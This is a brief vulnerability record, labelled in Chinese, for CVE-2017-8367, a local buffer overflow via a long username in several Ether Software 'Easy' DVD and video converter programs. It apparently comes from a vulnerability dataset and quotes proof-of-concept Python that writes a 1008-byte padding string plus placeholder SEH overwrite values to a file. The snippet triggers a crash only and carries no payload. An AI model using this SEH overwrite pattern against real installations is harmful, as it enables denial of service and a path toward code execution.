CVE-2017-8367

描述：Buffer overflow in Ether Software Easy MOV Converter 1.4.24, Easy DVD Creator, Easy MPEG/AVI/DIVX/WMV/RM to DVD, Easy Avi/Divx/Xvid to DVD Burner, Easy MPEG to DVD Burner, Easy WMV/ASF/ASX to DVD Burner, Easy RM RMVB to DVD Burner, Easy CD DVD Copy, MP3/AVI/MPEG/WMV/RM to Audio CD Burner, MP3/WAV/OGG/WMA/AC3 to CD Burner, MP3 WAV to CD Burner, My Video Converter, Easy AVI DivX Converter, Easy Video to iPod Converter, Easy Video to PSP Converter, Easy Video to 3GP Converter, Easy Video to MP4 Converter, and Easy Video to iPod/MP4/PSP/3GP Converter allows local attackers to cause a denial of service (SEH overwrite) or possibly have unspecified other impact via a long username.

软件：Easy DVD Creator

源码：41911.py

出现位置： 40行

关键源码：

buffer = "\x41" \* 1008

nSEH = "\x42\x42\x42\x42"

SEH = "\x43\x43\x43\x43"

f = open ("poc.txt", "w")

f.write(buffer + nSEH + SEH) //buffer overflow

f.close()